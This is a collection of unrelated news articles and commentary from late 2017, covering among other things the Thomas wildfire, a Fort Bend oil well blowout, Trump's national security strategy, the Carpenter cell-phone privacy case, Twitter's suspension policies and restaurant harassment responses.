Bishop Sarah has a post graduate degree from Heythrop and she has taught courses on ethics to students in the Diocese of Southwark. She may feel questions about her theological ability are unfair. The problem is that she joins a bench of bishops where theologians are in very short supply. Let us hope that this can be remedied soon when other episcopal appointments are made.

Paul Richardson is a former Anglican Bishop in Papua New Guinea, England and Australia.
Sophia Bush opens up about her exit from TV series 'Chicago P.D.'

Television star Sophia Bush finally opens up about her exit from NBC's police drama series "Chicago P.D." Bush left the show after four seasons earlier in May.

During an interview with Refinery29, Bush admitted that working for the show was her "dream job." However, she also stated that she was miserable. The actress who portrayed Detective Erin Lindsay did not disclose detailed information for her departure. In the interview, she said, "I don't have to give everyone the specific break down of exactly why I left until I'm ready to do that."

Bush also stated that she gave the showrunners a heads-up about her plans to quit. Sophia then narrated that she told the bosses, "If something really drastic doesn't change, I'm leaving at the end of the year. I understand how the business works and how women are treated." Bush did not mention any name in particular.

"Chicago P.D.'s" showrunners have not commented on Bush's remarks, so far.

She also shared her future plans for her career as an up-and-coming producer for 20th Century Fox Television. "I think about, 'what's kind of the highest self-version of what my career means to me.' Storytelling is the oldest form of human history on earth," she said in the interview.

Bush recently signed a deal with Fox as an actress and a producer at the same time. She will be part of a series as an executive producer and will also star in either a drama or comedy series. There are still no reports or updates about Bush's future project or projects.

The television icon also told Refinery29 that she is focusing on her social advocacy campaigns. "When I talk about that stuff, people go nuts about it because they can't process that I'm a social liberal, that I believe in equality for all," Bush said.
Thomas fire news: 50% of the massive wildfire along southern California contained

California fire crews were able to contain half of Thomas fire along Ventura and Santa Barbara County. Several evacuation orders in a few number of areas are already lifted.

According to the latest update of the California Department of Forestry and Fire Protection, aka Cal Fire, 50 percent of the Thomas fire is already contained. Firefighters are always on the ready 24/7 to make sure that the fire does not get out of hand overnight.

Over 8,500 firefighters are deployed to battle the wildfire, which has destroyed over 1,000 structures and engulfed almost 269,000 acres. Several residential properties were turned into ashes including a few multimillion-dollar homes in Montecito

Firefighters are having a hard time along the areas of Santa Barbara and Montecito where the fire is concentrated.

According to reports, firefighters were able to relax for a while when calm winds blew throughout Santa Barbara late Sunday.

Other major wildfires across southern California are already fully contained. So far, Drum fire, Lilac fire, Coast fire, Longhorn fire, and Rye fire are 100 percent contained. Firefighters are close to fully overcoming the Creek fire along the Los Angeles County.

The fire department has lifted a few evacuation notices in a number of areas in the Santa Barbara county and Ventura county.

Cal Fire recently raised Red Flag warnings in areas along eastern California due to dry conditions and high winds.

Meanwhile, few celebrities showed their support to the firefighters as they continue their campaign to extinguish Thomas fire. World-renowned television host Oprah Winfrey tweeted, "God Bless every firefighter and their families. Fighting 3 weeks straight. Still going. Imagine their exhaustion."

Veteran actor Rob Lowe even shared a dinner with the firefighters who helped save his house in Montecito from the wildfire. Lowe posted a photo of firefighters in his kitchen enjoying a meal. Lowe also posted another picture on his Instagram to thank all the fire personnel that have been deployed. "Thank you to all the crews from all over the country who stood tall and saved my town," Lowe wrote.
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Despite assurances from state officials that air emissions from a recent oil well blowout in Fort Bend County pose no danger, residents say fumes from the spill are making them sick.

"Something is going on out here. I can't breathe. I'm coughing all the time and I feel like I'm smothering," Coca Dawson said.

A resident of nearby Quail Glenn subdivision, Dawson babysits her 2-year-old grandson during the week and voiced concerns he was also getting sick.

"My grandbaby has been having problems breathing and today he just started throwing up," she said. "I'm extremely worried about this situation. When is this going to end? Everyone in my neighborhood is desperate to know what is going on. It's making everyone sick."

Residents near the site complain of a foul smell that causes headaches, nausea and burning eyes, reportedly caused by Hydrogen Sulfide emissions from the blowout. Students and teachers at Blue Ridge Elementary School, located less than four miles from the site, have also reportedly voiced concerns about the air emission.

On Friday, a former investigator from the Texas Commission on Environmental Quality (TCEQ) sounded the alarm at a news conference organized by State Rep. Ron Reynolds.

"I don't think people were told the whole truth and so I'm concerned there are some misrepresentations being made to the public," said Neil Carman, who worked as a TCEQ investigator for 12 years. "I'm very concerned that if children are having headaches than this is more than just an odor problem. This is a toxic air pollution assault on children and possibly even adults."

The incident was first reported on Dec. 6 when first responders from Harris County and Fort Bend County HAZMAT teams were dispatched to an oil well blowout near the Fort Bend County Tollway and FM 2234. The blowout caused a chemical spill involving roughly 240,000 gallons of crude and 30,000 gallons of sludge.

After the well was capped the next day, the company that operates the site, IWR Operating, LLC, called in HazMat Special Services, an environmental cleanup company from La Porte, to assist with remediation. TCEQ officials visited the site and measured hydrogen sulfide emissions from the blowout. Residents were told the air posed no health risk, but warned people should stay inside and away from the smell until the remediation is complete.

But Carmen disagrees and said even low-level exposure of hydrogen sulfide is potentially toxic and can cause significant harm to children.

"I think that the agencies need to air on the side of caution because H2S is extremely toxic. The EPA has worked to designate hydrogen sulfide as a hazardous air pollutant like lead and mercury. But industries didn't like that, so it's not officially recognized," Carmen said "But, in this situation I'm especially concerned about children in the area that may have breathed hydrogen sulfide gas. Besides headaches and nausea, it can affect their memory. It has effects that are actually similar to hydrogen cyanide. So it's not just an odor issue, it's an issue of toxic exposure to a developing brain."

State Rep. Ron Reynolds said his office had been flooded with calls from concerned residents and called news conference in response on Friday.

"There are a lot of unanswered questions and we are very concerned about the situation," Reynolds told reporters. "We intend to hold state officials accountable until this issue is resolved."

Fort Bend County Precinct 2 Justice of the Peace Joel Clouser Sr., who lives in a neighborhood near the spill, also spoke at the news conference and questioned why remediation efforts were taking so long.

"It's been over a week and I'm very concerned. When is the smell going to stop?" he said. "I'm concerned there could be long-term effects from exposure to these toxic chemicals in the air."

Carl David Evans, president of Fort Bend Houston Super Neighborhood Council 41, said he had received numerous calls from worried Missouri City residents and people who live in the nearby Shadow Creek Ranch subdivision in Pearland every day since the spill.

"I'm wondering: are we safe right now? Is the air safe for residents? People are very worried that live near the site," he said.

TCEQ officials say they will continue to monitor air quality near the site until remediation efforts are complete.
It says much about the state of America that the fatal train derailment in Tacoma, Washington virtually overshadowed the unveiling of President Donald Trumps America First national security strategy in Washington, D.C. Trump opened his speech with condolences to the families of the three people killed and dozens wounded in the Amtrak crash. It is all the more reason why we must first start by repairing the infrastructure of the United States, Trump said, referring to the devastating crash.

Indeed, a complete rebuilding of Americas infrastructure is a key ingredient of one of his new strategys four pillarspromoting American prosperity. As Trump spoke, firefighters in California were battling blazes in Ventura and Santa Barbara. In Atlanta, at the worlds busiest airport, hundreds of stranded passengers were struggling to reschedule flights after a total power outage grounded flights and plunged the airport into darkness for hours. Large sections of Puerto Rico remained without reliable power months after a deadly hurricane. And federal officials from the National Transportation Safety Board were en route to Tacoma to investigate the cause of the crash of the Amtrak train on its inaugural trip.

President Trumps remarks contained few specifics about how he intends to pay for his total infrastructure rebuilding, or implement his other three national security pillarsprotecting the American people and homeland (by building a wall and restricting immigration); preserving peace through strength (by rebuilding the military and constructing a missile defense system); and advancing American influence abroad (through economic growth via creative diplomacy, using all tools of statecraft). But the presidents 55-page national strategy document, at least ten pages longer than President Obamas 2010 opus, reads in many ways like a document that most of his predecessors could have written.

That came as a relief to foreign policy guru Peter Feaver, among others. One of the major concerns about President Trump is that he has at times seemed so bent on breaking with establishment precedent that he has failed to appreciate just how much of what has made American great has been the produce of these core establishment ideas and institutions, wrote Feaver, a professor of political science and public policy at Duke and coeditor of Foreign Policys Elephants in the Room blog.

In some ways, Trumps speech, and especially the administrations first strategy document, seem to backpedal from some of his earlier, more abrasive policies and utterances. The policy statement and especially the speech introducing it reflect the Trump foreign policys inward, sometimes isolationist focus and the importance it places on projecting power by rebuilding economic strength at home and defending the nations physical, intellectual, and cyber property and borders. The document calls Russia and China rival nations that seek to challenge American influence, values and wealth. While neither Trumps speech nor his national security plan mentions alleged Russian meddling in the 2016 presidential election, the strategy document accuses Russia of using information tools in an attempt to undermine the legitimacy of democracies. This criticism was only partially undercut by Trumps reference to a call that he received Sunday from Russian president Vladimir Putin to thank him for having shared CIA intelligence that Trump said helped Russia foil a terrorist attack in St. Petersburg. Thats a great thing, the president said, and the way its supposed to work.

Neither the speech nor the strategy document mentions climate change as a strategic threat or challenge, but unlike Obamas version, both address the importance of alliances and diplomacy as tools of statecraft to advance American national interests. As part of what Trump called principled realism, the speech and the strategy acknowledge the invaluable advantages that our strong relationships with allies and partners deliver. This is not what some critics expected from Trump, who criticized allies during the presidential campaign as economic shirkers unwilling to pay their fair share, and long-standing alliances as outdated. Both the document and mission statement call Iran and North Korea rogue nations that must be aggressively countered. And the president stressess repeatedly his determination to end or renegotiate trade deals that he says have shipped American jobs abroad and undermined the economic standing of the American worker.

The speech and the official policy document also occasionally contradict not only each other, but also Trumps earlier statements. For instance, while the document salutes the importance of diplomacy in advancing American interests, it seems at odds with the administrations lack of interest in filling key ambassador and senior policy slots and his proposed 30 percent State Department budget cut. Also of note is the absence of references to radical Islamic terror. The term never appears in the document or Trumps speech. The closest reference is the documents assertion that Americas effort to defeat jihadiststhe administrations preferred new term, one less offensive to American Muslims and regional partners such as Egypt and Saudi Arabiamust include the defeat of radical Islamist ideology.

Several students of national strategy statements were struck more by the similarities with previous efforts than by the now-familiar Trumpian departures from foreign policy orthodoxy. Feaver and other analysts attribute this first to the firing of former national security adviser Michael Flynn (who pled guilty weeks ago to lying to the FBI about his contacts with Russia), a subsequent shakeup in the national security apparatus, and, more recently, to the apparent victory of foreign policy traditionalists (National Security Adviser H.R. McMaster, Defense Secretary Jim Mattis, White House Chief of Staff John Kelly, and Secretary of State Rex Tillerson) over the foreign policy radicals (Trump advisors led by Steve Bannon, who left the White House in August.)

Of course, President Trump, a man given to swings of view and pronouncement, may not act in accordance with the strategy he has now endorsed. How a Republican president, in particular, will finance the ambitious military and foreign policy agenda that this official national security strategy outlines is another challenge. Consider Trumps pledge to rebuild completely Americas infrastructure. While the president has spoken of spending a trillion dollars, and proposed $200 billion, for rebuilding Americas bridges, tunnels, ports, roads, and water pipes, the American Society of Civil Engineers in a 2013 report estimated that replacing and repairing substandard infrastructure would cost at least $3.6 trillion. Just replacing water pipes, which suffer some 240,000 breaks a year, would cost $1 trillion, the ASCE estimates. The administration would like to see private-sector partnerships with the public sector to make up the difference, but if infrastructure rebuilding is left entirely up to the government, that would not leave much money for rebuilding the military, ending the sequestration of Pentagon funds that Congress imposed under President Obama, building an air-defense system to counter a potential nuclear attack by North Korea, or the other lofty goals in Trumps National Security Statement. Even a Republican-majority Congress might well balk at the price of Making America Great Again.

Photo by Mark Wilson/Getty Images
If mobile technology reinvented the relationship you have with your phone, a case argued last month in the U.S. Supreme Court has the potential to transform the relationship the police have with it as well. Timothy Ivory Carpenter and his brother, Timothy Michael Sanders, were charged with committing a series of armed robberies in Michigan and Ohio from December 2010 to March 2011. Prosecutors presented evidence during the subsequent trial that when the crimes were perpetrated, the defendants were in the same location at the same time of the occurrencesor at least, their cell phones were.

Cell-site location information (CSLI) is intrinsic to every one of the more than 237 million mobile phones in the United States. This identification data, recorded and maintained by cellular companies, is needed to determine in every instant where to send and receive the information transmitted to and from the phone, so the device is constantly pinging or searching for the nearest cell tower.

Policeacting without a warrantobtained Carpenters and Sanderss phone location information along with other evidence; the two men wound up being convicted of nine robberies. The question before the Supreme Court in Carpenter v. United States is whether the police violated the Constitutions prohibition against unreasonable searches and seizures by obtaining CSLI without prior judicial consent. A decision in this case is expected no later than the last week in June 2018, but it was 50 years ago today, in another phone-related case, that the Supreme Court revolutionized our understanding of what constitutes the boundaries of police conduct under the Fourth Amendment.

Charles Katz was convicted of violating federal law by using a public payphone to transmit illegal gambling information across state lines. The conviction was secured, in part, by conversations recorded with a wiretap placed by FBI agents on the outside of a phone booth that they had observed being used by the subject of their investigation.

By wiretapping the glass enclosure, a space the public (and police) had lawful access to, the agents hadnt violated protection afforded the defendant under the Fourth Amendment, the lower courts ruled. The courts relied on Supreme Court precedent by taking into account where law enforcement was conducting their surveillance instead of what was being surveilled.

This precedent was altered on December 18, 1967, when the Supreme Court ruled in Katz v. United States that it wasnt the phone booth that had individual rights but Katz himself. The Fourth Amendment protects people, not places, Justice Potter Stewart wrote for a 7-1 majority that decided the contents of Katzs conversation were protected by an expectation of privacy. To read the Constitution more narrowly is to ignore the vital role that the public telephone has come to play in private communication.

In 1976, Michael Lee Smith was suspected of robbing Patricia McDonough and, following her filing a police report, making threatening and obscene phone calls to her home in Baltimore. Police investigators requested that a pen register be placed by the phone company on Smiths phone to record the number of each call placed by the suspect. Within days, the telephone company reported to police that Smiths phone had dialed McDonoughs phone. Using this information, a warrant was issued to search the suspects home. The search revealed a phone book with a dog-eared page containing the victims name and number. Smith was identified in a lineup by McDonough and subsequently convicted of robbery in a trial in which evidence against him included the pen-register information and phone book. In their appeal to the Supreme Court, Smiths lawyers sought to exclude all fruits derived from the pen register due to the absence of a warrant issued for obtaining the information.

The opinion, written in 1979, found that the warrantless collection of evidence was not in itself a violation of the Fourth Amendment. Justice Harry Blackmuns reasoning, joined by four of his fellow justices, centered on the lack of actual content in phone numbers dialedas opposed to a phone conversation, as in Katzand a Fourth Amendment standard that would come to be known as the third-party doctrine. [W]e doubt that people in general entertain any actual expectation of privacy in the numbers they dial, he wrote. All telephone users realize that they must convey phone numbers to the telephone company, since it is through telephone company switching equipment that their calls are completed.

Three years ago, the Court again cited Katz to recognize the voluminous nature of mobile technology and the frightening prospect of a limitless intrusion into personal lives by allowing law enforcement access without warrants. David Lee Rileys phone was searched by police during a lawful arrest; incriminating pictures were discovered that helped convict him of a drive-by shooting. The Court overturned Rileys conviction unanimously. Cell phones differ in both a quantitative and a qualitative sense from other objects that might be kept on an arrestees person, Chief Justice John Roberts wrote in Riley v. California. The term cell phone is itself misleading shorthand; many of these devices are in fact minicomputers that also happen to have the capacity to be used as a telephone. . . . Our answer to the question of what police must do before searching a cell phone seized incident to an arrest is accordingly simpleget a warrant.

The conflicting outcomes in these cases point our current Supreme Court in alternate directions for what they may rule in the Carpenter case. Will they decide that location tracking is the equivalent of secondary material, and not subject to a warrant requirement, as in Smith? Or will they determine this technology to be the equivalent of a police officer in the pocket of every citizen, and therefore content, subject to Katz? Another possibility is that the court will override the third-party doctrine by finding non-content material that passes through an uninvolved partymuch more pervasive today, with technology like web browsing and cell-site-location information, than it was in 1979to be subject to warrant constraints in all but emergency situations.

No matter which side wins this appeal, the forthcoming decision will no doubt advance the way that the Bill of Rights covers evolving communications technology. We just have to wait for the justices to tell us how.

Photo: Extreme Photographer/iStock
Oxfam needs to improve its overall governance and management of safeguarding, the Charity Commission said in a case report published today.

The regulator has also issued an alert urging charities to review their safeguarding and governance arrangements.

Oxfam was at the centre of national media reports in the autumn about claims of sexual harassment and exploitation, which prompted the Commission to open an operational compliance case.

The Commission has been in touch with the charitys trustees and staff, and said in its case report today that the charity has work to do.

It said: Many of the allegations reported against senior country staff relating to sexual abuse and exploitation were not substantiated, and the Commission has seen no indication to suggest that the risks to staff at Oxfam are any greater than those facing staff in other similar organisations.

But it said some incidents did not meet the organisations culture and values and that there were weaknesses in how trends were being reported by the charity.

The regulator said Oxfam does demonstrate elements of good practice, but that there is further work for the charity to do to in respect of HR culture, and the overall governance and management of safeguarding in the charity.

It recommended that the charity consider the allocation of resources to ensure an appropriate balance between proactive and preventative activity and the investigation of individual allegations.

Taken swift steps

The Commission said that Oxfam has taken swift steps. These include committing to an external review of its HR culture and a review of organisation structures.

Oxfam is expected to report on its progress to the Commission by the end of March 2018.

The Commission said it would also publish a wider report about the lessons from this matter next year.

In a statement, Oxfam said: Oxfam takes the protection of our staff, volunteers and beneficiaries extremely seriously, and we have systems in place to help people speak out whenever they have a concern.

"We are pleased to have agreed an action plan with the Charity Commission which builds on what they recognise as strengths in areas of our safeguarding. We know there is more we can and should do to ensure that our practice meets our values.

The review is a chance for us to identify where we can improve further so that we and other organisations facing similar challenges do everything possible to prevent sexual harassment and abuse happening in the first place and better handle any allegations when they occur.

Charities urged to review policies

The regulator has advised charity trustees to review safeguarding and management arrangements if they have not done so in the last year.

Trustees should also contact the Commission about any safeguarding issues, incidents or complaints if they have not done so already.

Harvey Grenville, head of investigations and enforcement at the Charity Commission, said: The public rightly expects charities to be safe and trusted environments where people are protected from harm, including the charitys own staff and volunteers. So all charities need to be alert to the importance of safeguarding those who come into contact with them.

What that means in practice will of course depend on the nature and circumstances of a charitys work.




Twitter is rolling out new rules aimed at stifling the activities of neo-Nazis and hate groups, but it is also coming under fire for suspending the account of a well-known Egyptian journalist.

Over the past year, neo-Nazi and alt-right groups have gained prominence online, in part because of the rise of Donald Trump and his tacitand not so tacitsupport. And as these agitators have become more active online, critics and victims of their attacks have called on social networks like Twitter to take some action against them.

ICYMI: A reporter asked for 20 years of lottery winner data. After analyzing the records, he noticed something unusual

In response, Twitter announced this week it will crack down on the groups. Within hours of the announcement on Monday, a number of prominent accounts including the far-right group Britain First had been taken offline.

The move is being cheered by many as a belated step in the right direction, a suggestion that Twitter has finally gotten the message about the need to filter or block certain kinds of speech.

twitter banning nazis is good less because it's a morally correct decision and more because it clarifies what twitter is, what it's for, and who actually has power  Max Read (@max_read) December 18, 2017

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At the same time, however, Twitter is coming under fire for blocking the account of Egyptian journalist Wael Abbas, a move that raises some difficult questions about the companys ability to censor speech, and the risks that doing so poses both for Twitter and for society as a whole. Twitter wont say why Abbas account has been blocked, saying it doesnt comment on individual accounts, but some believe it might have come as a result of pressure from Egyptian authorities.

Although the company is well within its rights to block or allow whatever it wants to on its platform (since the First Amendment only applies to government), Twitters regulation of speech brings with it significant risks that the platform may remove certain kinds of speech that deserve to be more widely heard, such as the posts by Abbas.

Abbas has been documenting Egyptian government abuse of its own citizens on Twitter, Facebook and YouTube, including police brutality and assault, since before the Arab Spring revolution in 2011. His account was suspended briefly by YouTube in 2007, and his Facebook account has also been deleted at least once. By removing his account, other activists say Twitter has deleted a record of the abuse committed by the government.

Please join me in telling @twitter that in deleting Egypt's Wael Abbas' twitter account they've deleted a decade of Egypt's human rights history. #FreeSpeech  Weddady (@weddady) December 16, 2017

In a Facebook post, Abbas said that when he was first notified by Twitter about the suspension last week, the company said his account would be deactivated permanently, but in a follow-up email Twitter told him his account had been suspended for a specific period, but it didnt specify how long or the reason for the suspension.

On the Egyptian blog he co-founded, Misr Digital, Abbas said that Twitter blocking my account, which documented life in Egypt for 10 yearspolitics, activism, atrocities, corruption and revolutionis exactly like Hitler burning books. A treasure for researchers has been lost, this is what some of those researchers already told me. Thousands of pictures, videos and live streams from the middle of every crisis in Egypt, with date stamp on them, reporting on people who got tortured, killed or missing.

ICYMI: Explosive BuzzFeed scoop raises eyebrows

The suspension is particularly ironic given that Twitter said during the Arab Spring that it would not stand for totalitarian attempts to crack down on speech by citizens. The tweets must flow, the company said in a blog post in 2011. We dont always agree with the things people choose to tweet, but we keep the information flowing irrespective of any view we may have about the content.

Since then, the company that used to call itself the free-speech wing of the free-speech party has come a long way. In response to questions from British MPs about hate speech on the platform this week, Sinead McSweeneyTwitters vice president of public policy and communications for Europe, the Middle East, and Africasaid that the company has come to the conclusion that it is no longer possible to stand up for all speech.

I look back over last five and a half years, and the answers I would have given to some of these questions five years ago were very different, McSweeney said. Twitter was in a place where it believed the most effective antidote to bad speech was good speech. It was very much a John Stuart Millstyle philosophy. Weve realized the world we live in has changed.

Twitters new stance raises the question of what criteria the platform is using to decide which speech to remove or block. Egyptian daily newspaper Al-Ahram, which is said to be close to the government, stated on its site that Abbas account was suspended because Twitter was concerned about his intention to incite violence, which runs contrary to its guidelines.

Banning Nazi groups and white supremacists may be a popular move, but the flip-side of this newfound desire to regulate speech is that Twitter has now put itself in the position of being an arbiter of what is appropriate commentary.

ICYMI: A person died, a lot of people were injured, people were in shock, a community has been terrorized

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Mathew Ingram is CJRs chief digital writer. Previously, he was a senior writer with Fortune magazine. He has written about the intersection between media and technology since the earliest days of the commercial internet. His writing has been published in the Washington Post and the Financial Times as well as by Reuters and Bloomberg.
That theres abuse behind the scenes in restaurant isnt news. Within the chef community, the news is that people are surprised to hear about it.

The true scale of the issue has yet to be revealed, though its been hinted at in details of the behavior of some of the countrys highest-profile food figures, such as Spotted Pig restaurateur Ken Friedman and chefs John Besh and Mario Batali. Accounts include incidents of groping, stalking, abuse, and even industry blackmail. Almost everyone agrees this is just the beginning.

The potential price tag for these harassment cases to restaurants is quite large. In 2014, P.F. Changs paid almost $1 million to two women over harassment claims. In addition to payments, brands experience ripple effects: Batalis products, such as tomato sauce and cookbooks, have been pulled off the shelves at Wal-Mart Stores Inc., Target Corp., and even Eataly, in which Batali holds an ownership stake.

According to Myles Share of Myles Share and Associates, one of the New Yorks biggest restaurant-insurance providers, the landscape has changed drasticallyin a lasting manner, he hopesfollowing the recent rush of scandals. In the past decade, I can count on one hand the number of sexual harassment lawsuits Ive covered. After last week, things will be different, says Share. He predicts that Employee Practices Liability Insurance (EPLI), which covers charges over sexual harrassment, discrimination, and wages, plus hourly legal fees, will become much more popular. Currently, EPLI coverage costs at least $100 per employee per year; a business with 100 employees would cost at least $10,000 for insurance, annually. Five years ago, 20 percent of our clients had EPLI coverage, says Share. By the end of 2018, Id say 80 percent of our clients will have secured coverage. Restaurant consultant Stephen Loffredo, of Seasoned Hospitality Strategy and Management notes that the $100 per person figure can be higher if there have been previous settlements.

Loffredo has a 60-page handbook he provides clients that includes proprietary templates with sexual harassment clauses on how to report any inappropriate behavior to management. Hes owned a version of it since he opened his former restaurant, Zoe, in 1992 in New York. I came from the hotel industry, where these types of documents were standard. It becomes more necessary in the restaurant every day, he says. Noweven at small, casual operationsyou need to have {human resources] policies in place. It has become 100 percent necessary.

Not every restaurant business sees the answer as more rules and insurance coverage; Danny Meyers Union Square Hospitality Group, a company that has been vocal about its emphasis on employee well-being, has opted to start round tables in the wake of the stories that have surfaced. USHG recently hosted its first, inviting company women and men at all levels to talk with Meyer, Chief Culture Officer Erin Moran, and other members of the management committee.

Training, Training, Training

Other chefs were working to put systems in place long before the recent rash of allegations and reports. For Martha Hoover of the Patachou Restaurant Group in Indianapolis, culture training is so essential that her orientation can stretch to three weeks. It focuses on respecting colleagues. Before she got into the restaurant business, Hoover worked in the sex crimes unit of the prosecutors office in Indianapolis. Im fully aware of how women are treated and how the restaurant system rarely protects them, she says. I put money in the front end to retain employees and make sure everyone feels safe.

Key to her philosophy is instantaneous response, coupled with an intensity that comes from prosecuting crimes. We should all stop saying, Im sorry you feel offended. My position is: Youre offended; lets address the person who offended you right this minute.'

When Alex Stupak opened 160-seat Empellon Midtown in New York earlier this year, he created the position of director of human resources as part of growing his company. Counting this as a prescient move, he has since added an annual, mandatory anti-harassment training seminar that will take place at each of his three restaurants. (He estimates the cost at $15,000). I want everyone to know what harassment means, Stupak says. Now is the time to talk about it.

In 2016, California began requiring mandatory sexual harassment training for company supervisors. Caroline Styne, who employs about 400 people at her L.A. restaurants, including A.O.C. and Tavern, was ahead of the curve. Since 1998, when she and chef Suzanne Goin opened their first restaurant, Lucques, shes had a handbook that addresses the problem of sexual harassment, among other issues. Were a women-owned business and conscious of every single thing. The minute any employee relates an experience that might be inappropriate, we investigate. Theres no gray area, she says. Over time, the Lucques Group has added a human resources attorney and a human resources adviser to the roster, and the handbook has grown to 50 pages. Theres not a ton of sexual harassment issues. We did fire a chef for inappropriate behavior at a holiday party. Now, we dont have any more holiday parties.

No Employee Drinks

For Top Chef star Hugh Acheson, whose Georgia restaurants include Empire State South and Five & Ten, documentation employees sign isnt enough. A lot of them are just there to appease the insurance company. And then they go straight in the drawer. Restaurants are alive and need to be watched over constantly.

The chef stresses the need to make a distinction between employees professional and personal lives. I find that the restaurants that are the most out-of-control, the most exploitative, are where everyone drinks together after hours. Acheson continues: Im not the guy dancing on the bar at an Aspen after party. And your employees shouldnt be dancing on the bar at their workplace, either.

Sang Yoon of California spots such as Fathers Office and Lukshon has the same policy. The problems we are seeing now arent a lack of established rules, he says. Its people at the top not following their own rules; its no different than senators and studio heads. With the late hours and alcohol, restaurants are an incubator for bad behavior. Yoons rule for avoiding these issues is to prohibit shift or after-work drinks. Shift drinks turn into a two-hour thing, and nothing good comes of it. I strongly advocate a separation of church and state. You just cannot hop from one side of the bar to the other.

Get in Peoples Heads

One of the few women in the male-dominated barbecue industry is Amy Mills of 17th Street Barbecue, which has a couple of locations in Southern Illinois. Mills makes every employee sign a document drafted by her lawyer: Sexual Harassment and a Hostile Work Environment. A lot of people in the barbecue industry are from a different generation, where bad behavior was acceptable. We are breaking that mold, Mills says. She regularly posts stories that relate to industry problems on the restaurants social media and in the hallways. More important, she now makes a point of talking about them in pre-shift meetings. You talk and talk and get in peoples heads.

Sherry Vallaneuva, who runs six restaurants, including the Lark, Lucky Penny, and Les Marchands in Santa Barbara, Calif., has instituted a harassment training program that her managers take every year. Vallaneuva used to work at Twist Worldwide, researching trends for companies such as Target; now shes responsible for almost 300 employees. Those trainings are expensive, and they cut into the already thin margins you have as a restaurant operator. But this is not sex, drugs, and rock and roll. Were the hospitality equivalent of a PG 13 movie. Because theres such a dramatic labor shortage in restaurants, Vallaneuva sees some places putting up with more bad behavior than they should. Once she gets a report, she moves fast to eliminate a problem employee. Im a believer in that one bad apple cliche. Id rather do the job myself then keep that violating the rules. Im fine to go in and work the line.

Change the Message

Bobby Stuckey, owner and wine director of Colorados renowned Frasca Food and Wine and Tavernetta, believes that even just changing the messaging can help fight the problem of abuse in restaurants. Hes intent on getting rid of the glamorized, hard-partying chef credo. (Thats been celebrated since before Anthony Bourdains Kitchen Confidential came out in 2000. Late in February, Chefs, Drugs and Rock & Roll (HarperCollins, 2018) by Andrew Friedmanno relation to Kenwill be released. It will highlight the origin of American cooking culture in the 1970s and 80s.)

On a more concrete level, Stuckey credits a human resources manager he hired as a non-biased person to oversee problems. The company now executes confidential surveys among the staffnot a common restaurant practice. Its not cheap; Stuckey says the manager makes close to a six figure salary. But its so much better and more healthy now that our staff knows they have a voice.

Copyright 2022 Bloomberg.
Improving customer service and easing call volume are two reasons Floridas state run property insurer plans to upgrade its claims technology in 2018.

During Citizens Property Insurance Board of Governors Meeting held last week, members of its C-suite provided details on the planned upgrade to its claims systems.

Kelly Booten, chief systems and operations officer, cited three technology projects slated for 2018, including a customer portal implementation, as well as upgrades to its Guidewire software and storage platform.

The Guidewire upgrade, said Booten, will improve customer experience by offering insureds and claimants the ability to view and eventually report claims. An additional $700,000 was earmarked for the customer portal upgrade, which can be used beyond hurricane response, she said.

It will be the first upgrade since the Guidewire system was implemented five years ago. The total contracted amount for the system upgrade to version 9 is $2.3 million, she added.

Additional upgrades to improve existing hardware is expected to save $4 million over the next five years, Booten said.

Jay Adams, chief claims officer, discussed a cost related to an add-on to Xactimate, a property loss estimating software. He said the add-on will allow office claims adjusters to write estimates from their desks by Skyping with those in the field. Adams said Citizens can leverage the process on lower severity claims, as well as for catastrophe losses.

Irma made landfall in Florida on September 10, creating a challenging year for the firm.

There were lessons learned from the first major hurricane in 11 years, said Barry Gilway, president and CEO.

The magnitude of calls coming in after Irma were far more than the company could handle. From first notice of loss to requesting for status updates on pending claims, Gilway said an emergency order was issued to address the need for a self-service strategy.

What we learned very quickly during Irma is that we did not have an online claims capability, said Gilway.

Thats when the insurer determined it needed a system for insureds and claimants to report claims and get updates online.

I think from a consumer standpoint, clearly it will be a huge benefit, said Gilway.

The insurer reported a little over 63,000 claims related to Irma with an 80 percent closing rate. Gilway noted that the closing rate was better than the industry average.
Officials in the U.S ., Australia , New Zealand and Germany  major recipients of Chinese foreign direct investment  have been questioning the extent of Beijing's interference on their home turfs amid recent developments that suggest rising Chinese clout.

Last Wednesday, the U.S. Congressional-Executive Commission on China (CECC) held a hearing on Beijing's influence-wielding attempts states-side. That same week, China summoned Australia's ambassador after Prime Minister Malcolm Turnbull cited "disturbing reports about Chinese influence."

Meanwhile, security experts in New Zealand warned Prime Minister Jacinda Ardern about Chinese attempts to access sensitive public and private sector information, according to a Financial Times report last week. And in Germany, intelligence officials recently revealed how Chinese spies used LinkedIn to snoop on politicians, according to Reuters.

Experts widely believe that Beijing is using education, spying, political donations and people-to-people diplomacy to gain a greater say in local decision-making in these countries. And at a time when Beijing is dominating the global trade conversation, the issue threatens to strain bilateral relations between China and Western economies.

China has vehemently rejected all claims of political interference, referring to them as "symptoms of McCarthyism" in a recent Global Times editorial.

That said, Chinese money can be found across the world in the form of loans, acquisitions, currency swaps, foreign direct investment and infrastructure projects as Chinese President Xi Jinping's government emerges as the world's largest provider of capital.

Xi's team also has spent billions "to shape norms and attitudes in other countries, relying on the cultivation of relationships with individuals, educational and cultural institutions, and centers of policy influence," Shanthi Kalathil, director at the International Forum for Democratic Studies, the National Endowment for Democracy, said at the CECC hearing. This complex network of liaisons falls under the domain of the United Front Work Department, a Communist Party agency driving the nation's push for global soft power.
In light of Campbell Soup's purchase of snack brand Snyder's-Lance and Hershey's deal to buy the parent company of SkinnyPop, CNBC's Jim Cramer wanted to revisit the food space.

The unexpected strength is "not just [in] the pantry," the "Mad Money" host said. "This miraculous supermarket strength extends even to other parts of the frozen food aisle, which seemed like a wasteland not that long ago. In particular, Conagra [Brands] suddenly seems to be very much on the mend and I think that this stock could have a lot more room to run."

Shares of Conagra, the company behind Chef Boyardee, Hebrew National, Reddi-Whip and Orville Redenbacher, had trouble picking up steam for most of 2017.

After CEO Sean Connolly took the helm of Conagra in early 2015 and began a company-wide turnaround, selling its slowing private label business and spinning off its commercial food service arm, the stock climbed to a peak of $41 a share by March of this year.

But even cost cuts, efficiency improvements and strategic acquisitions couldn't stop the stock from freefalling to $32 a share by the end of August as part of a wholesale decline in the then-out-of-style packaged food space.

"After stinking up the joint for most of the year, Conagra has quickly become one of the most attractive names in the whole food group  witness the three upgrades this stock has caught since the end of October," Cramer said. "In the last four months, the stock has vaulted from $32 just to under $38, which is a substantial move for a $15 billion food company."

Since Conagra's late-September earnings report, the company's outlook has been improving. Sales of refrigerated and frozen foods saw a 2 percent boost and margins continued to expand, making Conagra more profitable even though it saw a 5 percent sales decline.

